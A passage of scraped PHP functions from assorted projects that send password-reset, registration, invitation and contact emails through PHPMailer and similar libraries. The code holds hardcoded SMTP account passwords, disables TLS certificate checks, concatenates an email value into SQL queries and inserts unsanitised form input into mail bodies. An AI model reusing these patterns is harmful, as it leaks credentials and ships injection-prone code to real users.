0; width: 100%;\">\n <tbody>\n <tr>\n <td class=\"\" style=\"padding: 20px 0; text-align: center; ;\">\n <a href=\"https://numtech.fr/\" style=\"text-decoration: none; ;\" target=\"_blank\">\n <img alt=\"Numtech\" class=\" \" src=\"https://www.banquedesterritoires.fr/sites/default/files/2018-11/00291_02_logo%20NUMTECH%20horizontal%20transparent.png\" style=\"border: 0; height: auto; max-width: 100%; vertical-align: middle; ;\" width=\"250\">\n </a>\n </td>\n </tr>\n </tbody>\n </table>\n <table cellpadding=\"0\" cellspacing=\"0\" style=\"background: #ffffff; border: 0; border-radius: 4px; width: 100%;\">\n <tbody>\n <tr>\n <td align=\"center\" class=\"tw-card\" style=\"padding: 20px 50px;\">\n <table cellpadding=\"0\" cellspacing=\"0\" dir=\"ltr\" style=\"border: 0; width: 100%;\">\n <tbody><tr>\n <td class=\"\" style=\"padding: 20px 0; text-align: center; ;\">\n <img alt=\"\" class=\" \" src=\"https://static.twistapp.com/eee278cf8d8222ad8c36e3fdfeeafbf5.png\" style=\"border: 0; height: auto; max-width: 100%; vertical-align: middle; ;\" width=\"337\">\n </td>\n </tr>\n </tbody>\n </table>\n <table cellpadding=\"0\" cellspacing=\"0\" dir=\"ltr\" style=\"border: 0; width: 100%;\">\n <tbody>\n <tr>\n <td class=\"\" style=\"text-align: left; color: #474747; font-family: sans-serif;;\">\n <p style=\"mfont-size: 14px; mso-line-height-rule: exactly;\">\n <span style=\"font-weight: bold;;\">\n Changement de mot de passe\n </span>\n </p>\n <p style=\" margin: 0; font-size: 14px; mso-line-height-rule: exactly;\">\n Bonjour '.$user->getNomComplet().' !\n </p>\n <p style=\" margin: 0; font-size: 14px; mso-line-height-rule: exactly;\">\n Vous avez demandé le changement de votre mot de passe pour l\\'outil de Gestion de Licences Numtech.\n </p>\n <p style=\" margin: 0; font-size: 14px; mso-line-height-rule: exactly;\">\n Pour se faire, il suffit de '.$link.' !\n </p>\n <p style=\"margin: 20px 0 20px 0; font-size: 14px; mso-line-height-rule: exactly;\">\n Cordialement,<br><br>\n <span style=\"font-weight: bold;;\">\n Service Automatique Numtech\n </span>\n </p>\n </td>\n </tr>\n </tbody>\n </table>\n </td>\n </tr>\n </tbody>\n </table>\n <table cellpadding=\"0\" cellspacing=\"0\" dir=\"ltr\" style=\"border: 0; width: 100%;\">\n <tbody><tr>\n <td class=\"\" style=\"padding: 20px 0; text-align: center; color: #8f8f8f; font-family: sans-serif; font-size: 12px; mso-line-height-rule: exactly; line-height: 20px;;\">\n <p style=\"margin: 20px 0;; margin: 0;;\">\n Email automatique envoyé par <a href=\"https://numtech.fr/\" style=\"color: #316fea; text-decoration: none;\" target=\"_blank\">Numtech</a> !\n </p>\n </td>\n </tr>\n </tbody>\n </table>\n </td>\n </tr>\n </tbody>\n </table>\n </td>\n </tr>\n </tbody>\n </table>\n </body>\n ';\n\n $body = \"NUMTECH\\r\\n pour changer de mot de passe : $link\";\n $destinataires = $email;\n $sujet = \"Changement de mot de passe\";\n $test = $mail->sendMail($destinataires,$sujet,$body_html,$body);\n }", "function phpMailer($from, $to, $object, $body){\n $mail = new PHPMailer();\n $mail->IsSMTP();\n $mail->SMTPDebug = 0; // debugging: 1 = errors and messages, 2 = messages only\n $mail->SMTPOptions = array(\n 'ssl' => array(\n 'verify_peer' => false,\n 'verify_peer_name' => false,\n 'allow_self_signed' => true\n )\n );\n $mail->SMTPAuth = true; // authentication enabled\n $mail->SMTPSecure = 'tls'; // secure transfer enabled REQUIRED for Gmail\n $mail->Host = \"smtp.gmail.com\";\n $mail->Port = 587; // or 465\n $mail->Username = \"[email protected]\";\n $mail->Password = \"salutcava\";\n $mail->IsHTML(true);\n $mail->From = $from;\n $mail->AddAddress($to);\n $mail->AddReplyTo($from);\n $mail->Subject = 'Resabike: ' . utf8_decode($object);\n $mail->Body = $body;\n\n if (!$mail->Send())\n echo $mail->ErrorInfo;\n $mail->SmtpClose();\n unset($mail);\n}", "function smtp_email($post)\n{\n $ci = &get_instance();\n $config = [\n 'mailtype' => 'html',\n 'charset' => 'utf-8',\n 'protocol' => 'smtp',\n 'smtp_host' => 'smtp.gmail.com',\n 'smtp_user' => '[email protected]', // Email gmail\n 'smtp_pass' => 'Masbowo2017', // Password gmail\n 'smtp_crypto' => 'ssl',\n 'smtp_port' => 465,\n 'crlf' => \"\\r\\n\",\n 'newline' => \"\\r\\n\"\n ];\n\n // Load library email dan konfigurasinya\n $ci->load->library('email', $config);\n\n // Email dan nama pengirim\n $ci->email->from('[email protected]', 'Operator Portal Akademik Sekolah ' . profil()->nama_sekolah);\n\n // Email penerima\n $ci->email->to($post['destination']); // Ganti dengan email tujuan\n\n // Subject email\n $ci->email->subject($post['subject']);\n\n // Isi email\n $ci->email->message($post['massage']);\n\n // Tampilkan pesan sukses atau error\n if ($ci->email->send()) {\n return 1;\n } else {\n return 0;\n }\n}", "function sendmailacceptjoin_ofstudent($email,$user,$ma_lophoc){\n $id = uniqid();\n $name = $user[0]['firstname'].' '.$user[0]['lastname'];\n $usermail = $user[0]['email'];\n $username = $user[0]['username'];\n $mail = new PHPMailer(true);\n\n // truy van thong tin lop hoc\n $sql = 'select * from lophoc where ma_lophoc = \"'.$ma_lophoc.'\"';\n $lophoc = executeResult($sql);\n // truy van thong tin cua sinh vien\n $sql = 'select * from user_account where email = \"'.$email.'\"';\n $student = executeResult($sql);\n\n $error = 'adsf';\n try {\n //Server settings\n// $mail->SMTPDebug = SMTP::DEBUG_SERVER; // Enable verbose debug output\n $mail->isSMTP(); // Send using SMTP\n $mail -> CharSet = 'UTF-8';\n $mail->Host = 'smtp.gmail.com'; // Set the SMTP server to send through\n $mail->SMTPAuth = true; // Enable SMTP authentication\n $mail->Username = '[email protected]'; // SMTP username\n $mail->Password = 'h t f d s u b h j l o i u d q x'; // SMTP password\n $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Enable TLS encryption; `PHPMailer::ENCRYPTION_SMTPS` encouraged\n $mail->Port = 587; // TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above\n //Recipients\n $mail->setFrom('[email protected]', 'Admin của classroom');\n $mail->addAddress($email, 'Người nhận'); // Add a recipient\n// // Content\n $mail->isHTML(true); // Set email format to HTML\n $mail->Subject = 'Xác nhận yêu cầu tham gia lớp học';\n $mail->Body = '\n\n<body style=\"background-color: #E6E6E6\">\n <div class=\"gmailtt\">\n <div>\n <h2><b>Google</b> Classroom</h2>\n </div>\n </div>\n<div class=\"container gmail\">\n <h3><b>\n Hi,\n </b></h3>\n <div>\n <p>Thông tin giảng viên mời bạn tham gia lớp học</p> \n <p>Họ và Tên: '.$name.'</p>\n <p>Email: '.$usermail.'</p>\n <p>Thông tin khóa học</p>\n <p>Tên lớp học: '.$lophoc[0]['ten_lophoc'].'</p>\n <p>Tên môn học: '.$lophoc[0]['ten_monhoc'].'</p>\n <p>Tên Phòng học: '.$lophoc[0]['ten_phonghoc'].'</p>\n </div>\n <div class=\"Gmailkhuin\">\n <div class=\"Gmailicon\">\n <i class=\"fas fa-comment\"></i>\n </div>\n <div class=\"gmailcontent\">\n <a href=\"http://localhost/acceptjoin_newclass.php?id='.$id.'&username='.$student[0]['username'].'&ma_lophoc='.$ma_lophoc.'&accept=yes\">Click</a> để chấp nhận yêu cầu\n \n </div>\n <div class=\"gmailcontent\">\n <a href=\"http://localhost/acceptjoin_newclass.php?id='.$id.'&username='.$student[0]['username'].'&ma_lophoc='.$ma_lophoc.'&accept=no\">Click</a> để từ chối yêu cầu \n </div>\n <br> \n </div>\n <br>\n <hr>\n</div>\n</body>\n\n';\n\n $mail->send();\n return \"Đã gửi mail, vui lòng đợi học sinh xác nhận\";\n } catch (Exception $error ) {\n\n return \"Gửi mail thất bại, vui lòng thử lại sau\";\n }\n}", "function enviarCorreoRegistro($mail_AddAddress, $name, $id_user){\r\n $mail = new PHPMailer(true);\r\n\r\n try {\r\n //Server settings\r\n $mail->SMTPDebug = 0; // Enable verbose debug output\r\n $mail->isSMTP(); // Send using SMTP\r\n $mail->Host = 'mail.livesummit.plus'; // Set the SMTP server to send through\r\n $mail->SMTPAuth = true; // Enable SMTP authentication\r\n $mail->Username = '[email protected]'; // SMTP username\r\n $mail->Password = 'L1v3nore*'; // SMTP password\r\n $mail->SMTPSecure = 'ssl'; // Enable TLS encryption; `PHPMailer::ENCRYPTION_SMTPS` encouraged\r\n $mail->Port = 465; // TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above\r\n\r\n //Recipients\r\n $mail->setFrom('[email protected]', 'No Responder');\r\n $mail->addAddress($mail_AddAddress, $name); // Add a recipient\r\n //$mail->addAddress('[email protected]'); // Name is optional\r\n //$mail->addReplyTo('[email protected]', 'Information');\r\n //$mail->addCC('[email protected]');\r\n //$mail->addBCC('[email protected]');\r\n\r\n // Attachments\r\n //$mail->addAttachment('/var/tmp/file.tar.gz'); // Add attachments\r\n //$mail->addAttachment('/tmp/image.jpg', 'new.jpg'); // Optional name\r\n\r\n // Content\r\n $mail->isHTML(true); // Set email format to HTML\r\n $mail->Subject = 'Registro exitoso';\r\n $mail->Body = '<h1>'.$_POST[$id_user].'</h1>'; //Información a enviar en formato HTML\r\n //$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';\r\n\r\n //Al no tener los certificados correspondientes debemos agregar esto\r\n $mail->SMTPOptions = array(\r\n 'ssl' => array(\r\n 'verify_peer' => false,\r\n 'verify_peer_name' => false,\r\n 'allow_self_signed' => true\r\n )\r\n );\r\n\r\n $mail->send();\r\n echo 'El mensaje se envió correctamente.'; //Imprimir mensaje en pantalla o\r\n //Código para redireccionamiento\r\n } catch (Exception $e) {\r\n echo \"El mensaje no pudo ser enviado. Mailer Error: {$mail->ErrorInfo}\";\r\n //Código para redireccionamiento\r\n }\r\n}", "function basico($mail){\n\n\t\t\t\t\t//$mail->SMTPDebug = 3; // Enable verbose debug output\n\n\t\t\t\t\t$mail->isSMTP(); // Set mailer to use SMTP\n\t\t\t\t\t$mail->Host = 'smtp.gmail.com;smtp2.example.com'; // Specify main and backup SMTP servers\n\t\t\t\t\t$mail->SMTPAuth = true; // Enable SMTP authentication\n\t\t\t\t\t$mail->Username = '[email protected]'; // SMTP username\n\t\t\t\t\t$mail->Password = 'migataesblanca'; // SMTP password\n\t\t\t\t\t$mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted\n\t\t\t\t\t$mail->Port = 587; // TCP port to connect to\n\n\t\t}", "function send_email($to,$subject,$message1){\n\t$host_address = $_SERVER['HTTP_HOST'];\n\tif(localhost())\n\t{\n\t\trequire_once(get_template_directory().'/lib/PHPMailer/PHPMailerAutoload.php');\n\t\t$message_body = $message1;\n\t\t$mail = new PHPMailer;\n\n\t\t$mail->IsSMTP();\n\t\t$mail->SMTPSecure = \"ssl\";\n\t\t$mail->Host = \"smtp.gmail.com\"; // SMTP server\n\t\t$mail->SMTPAuth = true;\n\t\t$mail->Port = 465;\n\t\t$mail->Username = \"[email protected]\";\n\t\t$mail->Password = \"NasirBro\";\n\t\t//$mail->addAddress('[email protected]');\n\t\t$mail->addAddress($to);\n\n\t\t$mail->isHTML(true);\n\t\t$mail->Subject = $subject;\n\t\t$mail->Body = $message_body;\n\t\t$mail->send();\n\n\t}\n\telse\n\t{\n\t\t$message = '<html><head><title></title></head><body>';\n\t\t$message .= $message1;\n\t\t$message .= '</body></html>';\n\t\t$headers = 'MIME-Version: 1.0' . \"\\r\\n\";\n\t\t$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\";\n\t\t$headers .= 'From: '.get_option('admin_email'). \"\\r\\n\";\n\n\t\tif(!mail($to,$subject,$message,$headers))\n\t\t{\n\t\t\treturn false;\n\t\t}else\n\t\t{\n\t\t\treturn true;\n\t\t};\n\t}\n}", "function sendmailacceptjoin_new($email,$user,$ma_lophoc){\n $id = uniqid();\n $name = $user[0]['firstname'].' '.$user[0]['lastname'];\n $usermail = $user[0]['email'];\n $username = $user[0]['username'];\n $mail = new PHPMailer(true);\n $error = 'adsf';\n try {\n //Server settings\n// $mail->SMTPDebug = SMTP::DEBUG_SERVER; // Enable verbose debug output\n $mail->isSMTP(); // Send using SMTP\n $mail -> CharSet = 'UTF-8';\n $mail->Host = 'smtp.gmail.com'; // Set the SMTP server to send through\n $mail->SMTPAuth = true; // Enable SMTP authentication\n $mail->Username = '[email protected]'; // SMTP username\n $mail->Password = 'h t f d s u b h j l o i u d q x'; // SMTP password\n $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Enable TLS encryption; `PHPMailer::ENCRYPTION_SMTPS` encouraged\n $mail->Port = 587; // TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above\n //Recipients\n $mail->setFrom('[email protected]', 'Admin của classroom');\n $mail->addAddress($email, 'Người nhận'); // Add a recipient\n// // Content\n $mail->isHTML(true); // Set email format to HTML\n $mail->Subject = 'Xác nhận yêu cầu tham gia lớp học';\n $mail->Body = '\n\n<body style=\"background-color: #E6E6E6\">\n <div class=\"gmailtt\">\n <div>\n <h2><b>Google</b> Classroom</h2>\n </div>\n </div>\n<div class=\"container gmail\">\n <h3><b>\n Hi,\n </b></h3>\n <div>\n <p>Thông tin người dùng có yêu cầu tham gia lớp học</p> \n <p>Họ và Tên: '.$name.'</p>\n <p>Email: '.$usermail.'</p>\n </div>\n <div class=\"Gmailkhuin\">\n <div class=\"Gmailicon\">\n <i class=\"fas fa-comment\"></i>\n </div>\n <div class=\"gmailcontent\">\n <a href=\"http://localhost/acceptjoin_newclass.php?id='.$id.'&username='.$username.'&ma_lophoc='.$ma_lophoc.'&accept=yes\">Click</a> để chấp nhận yêu cầu\n \n </div>\n <div class=\"gmailcontent\">\n <a href=\"http://localhost/acceptjoin_newclass.php?id='.$id.'&username='.$username.'&ma_lophoc='.$ma_lophoc.'&accept=no\">Click</a> để từ chối yêu cầu \n </div>\n <br> \n </div>\n <br>\n <hr>\n</div>\n</body>\n\n';\n\n $mail->send();\n return \"Đã gửi mail, vui lòng đợi giảng viên xác nhận\";\n } catch (Exception $error ) {\n\n return \"Gửi mail thất bại, vui lòng thử lại sau\";\n }\n}", "function send()\n\t\t{\n\t\t\t// converte, se necessario, l'array dei destinatari in un'unica stringa (indirizzi separati da virgola)\n\t\t\t$to = (is_array($this->to)) ? implode(\",\", array_keys($this->to)) : $this->to;\n\t\t\t// invia il messaggio e ritorna il risultato\n\t\t\treturn mail($to, $this->subject, $this->body, $this->headers);\n\t\t}", "function notification()\n{\n\n $correo = isset($_POST['correo'])?$_POST['correo']:'';\n $name = isset($_POST['fullname'])?$_POST['fullname']:'';\n $usuario = isset($_POST['usuario'])?$_POST['usuario']:'';\n $clave = isset($_POST['clave'])?$_POST['clave']:'';\n $sendmail= isset($_POST['sendmail'])?$_POST['sendmail']:'';\n if(false == empty($clave) && ($sendmail == 'Y')){\n \n $mail = new Zend_Mail('UTF-8');\n $mail->setBodyText(\"Sr(a) {$name}, esta es su información de ingreso para el sistema Enlazamundos\\r\\n\\r\\nUsuario:{$usuario}\\r\\nClave:{$clave}\");\n $mail->setFrom('[email protected] ', 'Programa Enlazamundos');\n $mail->addTo($correo);\n $mail->setSubject('Confirmación de registro Enlazamundos');\n $mail->send();\n return;\n }\n}", "public function sendMail($email)\n {\n $mail = new PHPMailer(true);\n try {\n //Server settings\n //thêm dòng sau để hiển thị đc ký tự có dấu\n $mail->CharSet = 'UTF-8';\n //thực tế sẽ sử dụng DEBUG_OFF để bỏ việc debug gửi mail\n $mail->SMTPDebug = SMTP::DEBUG_SERVER; // Enable verbose debug output\n $mail->isSMTP(); // Send using SMTP\n //sử dụng server gmail để gửi mail\n $mail->Host = 'smtp.gmail.com'; // Set the SMTP server to send through\n $mail->SMTPAuth = true; // Enable SMTP authentication\n //nhập tài khoản gmail cho username\n //tạm thời dùng tài khoản sau để\n // đỡ mất thời gian Xác minh 2 bươc\n $mail->Username = '[email protected]'; // SMTP username\n //password ko phải là pasword gmail, mà gmail có 1 cơ chế\n //tạo password cho các ứng dụng, password này độc lập với\n //password gmail của bạn\n $mail->Password = 'cappifvjwxykjkof'; // SMTP password\n $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Enable TLS encryption; `PHPMailer::ENCRYPTION_SMTPS` encouraged\n $mail->Port = 587; // TCP port to connect to, use 465 for `PHPMailer::ENCRYPTION_SMTPS` above\n\n //Recipients\n //gửi từ ai\n $mail->setFrom('[email protected]', 'From Nguyen Tien Manh With Love <3');\n //gửi tới ai\n $mail->addAddress($email);\n\n // Content\n $mail->isHTML(true); // Set email format to HTML\n $mail->Subject = 'Xin chào bạn chúng tôi là manhmobile';\n $mail->Body = 'Cảm ơn bạn đã đặt hàng <b>!!</b>';\n $mail->AltBody = 'Hi vọng bạn có thể ủng hộ chúng tôi nhiều hơn !';\n\n $mail->send();\n echo 'Message has been sent';\n } catch (Exception $e) {\n echo \"Message could not be sent. Mailer Error: {$mail->ErrorInfo}\";\n }\n }", "private function mailerNative()\n { \n if( ! mail($this->rcptToCtring, $this->subject, $this->message, $this->header()) ){\n $this->debugMessages[] = 'Error: Sending email failed';\n return false;\n }\n else {\n $this->debugMessages[] = 'Success: Sending email succeeded';\n return true;\n }\n }", "function pendaftaran_siswa($post)\n{\n $data['destination'] = $post['r_email'];\n $data['subject'] = 'Pendaftaran Akun Baru Peserta Didik Portal Akademik ' . profil()->nama_sekolah;\n $data['massage'] = \"\n <p>\n <html>\n <body>\n Hallo, Pendaftaran Akun Baru untuk Peserta didik berhasil, dengan rincian sebagai berikut : <br>\n No. Pendaftaran : \" . $post['no_reg'] . \" <br>\n NISN Peserta : \" . $post['r_nisn'] . \" <br>\n Expired Aktivasi : \" . date('D, d M Y') . \" at 23.59 <br>\n Silahkan Klik Tombol Aktivasi Dibawah ini untuk aktivasi akun anda... <br>\n <center>\n <a href='\" . site_url('auth/aktivasi/' . $post['id_user']) . '?d=' . date('dmy') . '&w=' . date('hi') . \"' target='_blank'> Aktivasi </a>\n </center>\n </body>\n </html>\n </p>\n \";\n return smtp_email($data);\n}", "public function mailProccess(){\n\n //dd($this->request->getPost());\n \n\t\t$email = \\Config\\Services::email();\n\n //dd($email);\n\n\t\t$to = $this->request->getPost('to');\n\t\t$from = $this->request->getPost('form');\n\t\t$subject = $this->request->getPost('subject');\n\t\t$message = $this->request->getPost('msg');\n\n\t\t$email->setTo($to);\n\t\t$email->setFrom($from);\n\t\t$email->setSubject($subject);\n\t\t$email->setMessage($message);\n\n\t\tif($email->send() == false){\n echo \"Failed\";\n $data = $email->printDebugger(['headers']);\n print_r($data);\n\t\t}else echo \"Mail sent successfully !\";\n\t}", "function itl_MailContact($path, $nombre, $email, $asunto, $mensaje, $address, $mserror, $debug){\n \n //SMTP needs accurate times, and the PHP time zone MUST be set\n //This should be done in your php.ini, but this is how to do it if you don't have access to that\n date_default_timezone_set('Etc/UTC');\n\n // Librerias necesarias\n //require_once $path.'plugins/mail/class.phpmailer.php';\n //require_once $path.'plugins/mail/class.smtp.php';\n require $path.'assets/global/plugins/PHPMailer-master/PHPMailerAutoload.php';\n\n //Create a new PHPMailer instance\n $mail = new PHPMailer;\n\n //Tell PHPMailer to use SMTP\n $mail->isSMTP();\n\n //Enable SMTP debugging\n // 0 = off (for production use)\n // 1 = client messages\n // 2 = client and server messages\n //$debug = \"on\";\n if ($debug == \"on\"){\n $mail->SMTPDebug = 2;\n }\n else {\n $mail->SMTPDebug = 0;\n }\n\n //Ask for HTML-friendly debug output\n $mail->Debugoutput = 'html';\n\n // Nombre del servidor de correos\n $mail->Host = 'smtp.gmail.com';\n\n // Numero de puerto de servidor de correo\n $mail->Port = 587;\n\n // Seguridad del servidor de correo - ssl (deprecated) o tls\n $mail->SMTPSecure = 'tls';\n\n // Autentificado del servidor de correo\n $mail->SMTPAuth = true;\n\n // Nombre de usuario del servidor SMTP\n $mail->Username = \"[email protected]\";\n\n // Password del usuario\n $mail->Password = \"caronteunet\";\n\n //Set who the message is to be sent from\n $mail->setFrom($email, $nombre);\n\n //Set an alternative reply-to address\n $mail->addReplyTo($email, $nombre);\n\n //Set who the message is to be sent to\n $mail->addAddress($address, 'Formulario de Contacto');\n\n\n // configuracion del mensaje de correo\n $mail->From = $email;\n $mail->FromName = $nombre;\n $mail->Subject = $asunto;\n $mail->Body = $mensaje;\n\n //Read an HTML message body from an external file, convert referenced images to embedded,\n //convert HTML into a basic plain-text alternative body\n //$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__));\n\n //Replace the plain text body with one created manually\n //$mail->MsgHTML($mensaje);\n $mail->AltBody = $mensaje;\n\n\n //$mail->AltBody(strip_tags($mensaje));\n\n //Attach an image file\n //$mail->addAttachment($path.'plugins/PHPMailer-master/examples/images/phpmailer_mini.png');\n\n //send the message, check for errors\n\n if (!$mail->send()) {\n $mserror = \"error\";\n }\n else {\n $mserror = \"success\";\n }\n\n return $mserror; \n }", "function sendMail($serveur, $port, $login, $password, $Emetteur, $Destinataire, $Subject = \"\", $Message=\"\")\n{\t\n\t// On va pouvoir envoyer un message\n\t$ListeDestinataires = \"\";\n\tif (is_array($Destinataire)) {\n\t\tforeach ($Destinataire as $unDestinataire) {\n\t\t\tif ($ListeDestinataires != \"\")\n\t\t\t\t$ListeDestinataires .= \",\";\n\t\t\t$ListeDestinataires .= $unDestinataire;\n\t\t}\n\t\t$ListeDestinataires = $Destinataire;\n\t}\n\telse\n\t\t$ListeDestinataires = array($Destinataire);\n\t\t\t\n\tif ((count($ListeDestinataires) > 0) && ($Message != \"\")) {\n\t\t// On prend le message\n\t\t$headers[\"From\"] = $Emetteur;\n\t\t$headers[\"To\"] = $ListeDestinataires;\t\t\n\t\t$headers[\"Cc\"] = array($Emetteur);\n\t\t$headers[\"Subject\"] = $Subject; \n\n\t\t$params[\"host\"] = $serveur; \n\t\t$params[\"port\"] = $port; \n\t\t$params[\"auth\"] = false; \n\t\t$params[\"username\"] = $login; \n\t\t$params[\"password\"] = $password; \n\n\t\tsendMailToServer($params, $headers, $Message);\n\t}\n}", "function contactSendMail()\r\n {\r\n $subject = 'Contact : ' . $_POST['contactNom'];\r\n $body = $_POST['contactMsg'];\r\n\r\n\r\n $this->sendMail($subject, $body);\r\n }", "public function enviarEmailBienvenida(){\n\t\t$params ['url'] = Yii::$app->urlManager->createAbsoluteUrl ( [ \n\t\t\t'ingresar/' . $this->txt_token \n\t\t] );\n\t\t$params ['user'] = $this->nombreCompleto;\n\t\t$params ['usuario'] = $this->txt_email;\n\t\t$params ['password'] = $this->password;\n\t\t\n\t\t\n\t\t\t$email = new Email();\n\t\t\t$email->emailHtml = \"@app/modules/ModUsuarios/email/bienvenida\";\n\t\t\t$email->emailText = \"@app/modules/ModUsuarios/email/layouts/text\";\n\t\t\t$email->to = $this->txt_email;\n\t\t\t$email->subject = \"Bienvenido\";\n\t\t\t$email->params =$params ;\n\t\t\t\n\t\t\t// Envio de correo electronico\n\t\t\t$email->sendEmail();\n\t\t\treturn true;\n\t\t\n\n\t}", "public function enviar(){\n\t\t\t$email = array(\n\t\t \t\t'nome'=>$this->remover_caracter($this->nome),\n\t\t \t\t'email'=>$this->email,\n\t\t\t\t'assunto'=>$this->remover_caracter($this->assunto),\n\t\t \t\t'texto'=>$this->remover_caracter($this->mensagem)\n\t\t\t);\n\t\t\tif( is_file($this->logo) ){\n\t\t\t\t$imagem_nome=$this->logo;\n\t\t\t\t$arquivo=fopen($imagem_nome,'r');\n\t\t\t\t$contents = fread($arquivo, filesize($imagem_nome));\n\t\t\t\t$encoded_attach = chunk_split(base64_encode($contents));\n\t\t\t\tfclose($arquivo);\n\t\t\t}\n\t\t\t$limitador = \"_=======\". date('YmdHms'). time() . \"=======_\";\n\n\t\t\t$mailheaders = \"From: \".$email['email'].\"\\r\\n\";\n\t\t\t$mailheaders .= \"MIME-version: 1.0\\r\\n\";\n\t\t\t$mailheaders .= \"Content-type: multipart/related; boundary=\\\"$limitador\\\"\\r\\n\";\n\t\t\t$cid = date('YmdHms').'.'.time();\n\n\t\t\t$texto=\"\n\t\t\t\t<html>\n\t\t\t\t<head>\n\t\t\t\t\t\".header('Content-type: text/html; charset=utf-8').\"\n\t\t\t\t</head>\n\t\t\t\t<body>\n\t\t\t\t\t<img src=\\\"cid:$cid\\\">\n\t\t\t\t\t<h1>Desenvolvedor avulso para Web</h1>\n\t\t\t\t\t<br>\n\t\t\t\t\t<p><strong>\".$email['nome'].\"</strong>: Solicitou contato, sobre :<em>\".$email['assunto'].\"</em></p>\n\t\t\t\t\t<p>com a seguinte mensagem: <span>\".$email['texto'].\"</span></p>\n\t\t\t\t\t<p>email: \".$email['email'].\"</p>\n\t\t\t\t\t<a href='http://\". $this->url .\"'><font size=3>\". $this->url .\"</font></a>\n\t\t\t\t</body>\n\t\t\t\t</html>\n\t\t\t\";\n\n\t\t\t$msg_body = \"--$limitador\\r\\n\";\n\t\t\t$msg_body .= \"Content-type: text/html; charset=iso-8859-1\\r\\n\";\n\t\t\t$msg_body .= \"$texto\";\n\n\t\t\t$emailPara = explode('@',$this->para)[1];\n\t\t\treturn mail($this->para ,\"Um novo Cliente Contactou o Site \". $emailPara ,$msg_body, $mailheaders);\n\t\t}", "public function sendMailCambioClave($nombre,$email,$login,$clave){\n\t\t\t\t\n\t\tinclude('includes/class.phpmailer.php');\n\t\t// Archivos requeridos para generar la imagen tipo code barras\n \trequire('code_barras/barcode.php');\n require('code_barras/c128bobject.php');\n\t\t\n\t \t$mail = new phpmailer();\n \t\n\t\n \t\t$mail->PluginDir = \"\";\n \n \n\t \t//Con la propiedad Mailer le indicamos que vamos a usar un \n\t \t//servidor smtp\n \t\t$mail->Mailer = \"smtp\";\n\n \t\t//Asignamos a Host el nombre de nuestro servidor smtp\n \t\t$mail->Host = \"ccschucor01.pdvsa.com\";\n \n \t\t//Le indicamos que el servidor smtp requiere autenticación\n \t\t$mail->SMTPAuth = true;\n \t\t$mail->CharSet = \"UTF-8\";\n\n \t\t//Le decimos cual es nuestro nombre de usuario y password\n \t\t$mail->Username = \"[email protected]\"; \n \t\t$mail->Password = \"LUBRIALERTASPOOL\";\n \n \t\t//Indicamos cual es nuestra dirección de correo y el nombre que \n \t\t//queremos que vea el usuario que lee nuestro correo\n \n \t\t$mail->From = \"[email protected]\";\n \n \t\n \t\t$mail->FromName = \"Lubrialertas\"; \n \n \t\t$mail->Timeout=30;\n \n\n \t\t$mail->Body = '\n\t\t\tPDVSA - Lubrialertas\n\t\t\tAnalisis de Lubricantes PDVSA\n\t\t';\n\n\t\t$nombre= self::GetQuitarAcentos($nombre);\n\t\t\t\n\t\t$mail->Body.= '\n\t\t\tEstimad@ '.$nombre.'\n\t\t\t\n\t\t\t\tUsted ha cambiado la contraseña de acceso al sistema !\n\t\t\t\tLos nuevos datos de su cuenta de acceso al sistema LUBRIALERTAS son los siguientes:\n\t\t\t\tUsuario: '.$login.'\n\t\t\t\tContraseña: Corresponde a la serie de caracteres Alfanumericos expuestos en la imagen adjunta a este correo.\n\t\t\t Recuerde cambiar la contraseña de acceso periodicamente.\n\t\t';\n\t\t\n\t\t//Indicamos cual es la dirección de destino del correo\n\t\t$mail->AddAddress($email);\n\t\t\n\t\t//Asignamos asunto y cuerpo del mensaje\n\t\t$mail->Subject = \"Informacion Acceso - Cambio de Clave\";\n\t\t\n\t\t//////////////////////////////////////////////////////////////\n\t\t// Parametros de configuracion\n\t\t$style= 164;\n\t\t$width= 260;\n\t\t$height= 70;\n\t\t$xres= 1;\n\t\t$font= 5;\n\t\t$directorio= \"../codigos/\";\n\t\t$code= $clave;\n\t\t\t\n\t\t$obj= new C128BObject($width, $height, $style, $code);\n\t\tif($obj){\n\t\t\t$obj->SetFont($font);\n\t\t\t$obj->DrawObject($xres);\n\t\t\t$img_name= $directorio.$code.'.jpg';\n\t\t\t$obj->RenderFlushObject($img_name);\n\t\t\tchmod($img_name, 0755);\n\t\t\tunset($obj); /* clean */\n\t\t}\n ////////////////////////////////////////////////////////////////\n \t\t\n \t\t// Para adjuntar la imagen\n \t\t$mail->AddEmbeddedImage($img_name, \"Clave\", \"credencial_temp.jpg\");\n \t\t\n\t\t//se envia el mensaje, si no ha habido problemas \n\t \t//la variable $exito tendra el valor true\n \t\t$exito = $mail->Send();\n\n \t\t//Si el mensaje no ha podido ser enviado se realizaran 4 intentos mas como mucho \n \t\t//para intentar enviar el mensaje, cada intento se hara 5 segundos despues \n\t\t//del anterior, para ello se usa la funcion sleep \n \n \t\t$intentos=1; \n \t\twhile ((!$exito) && ($intentos < 5)) {\n \t\tsleep(5);\n //echo $mail->ErrorInfo;\n $exito = $mail->Send();\n $intentos=$intentos+1;\n }\n \n \n \tif(!$exito){\n \t\t//echo \"Problemas enviando correo electrónico a \".$valor;\n\t \techo \"<br>\".$mail->ErrorInfo;\n\t }\n \telse{\n \t //echo \"Mensaje enviado correctamente\";\n\t\t\t}\n\t\t@unlink($img_name);\t\n\t}", "static function sendEmail($args=array())\r\n\t{\r\n global $smarty;\r\n //include_once ('applicationlibraries/phpmailer/class.phpmailer.php');\r\n //include(\"libraries/phpmailer/class.smtp.php\");\r\n $mail = new PHPMailer();\r\n $mail->SMTPSecure= \"ssl\";\r\n $mail->IsSMTP();\r\n $mail->Host = \"smtp.gmail.com\"; // SMTP server\r\n $mail->Timeout=200;\r\n //$mail->SMTPDebug = 2;\r\n $mail->SMTPAuth = true;\r\n $mail->SMTPSecure = \"ssl\";\r\n $mail->Port = 465;\r\n $mail->Username = \"[email protected]\";\r\n $mail->Password = \"04379800\";\r\n $mail->From = \"[email protected]\"; \r\n $mail->FromName = $args['fromName'];\r\n 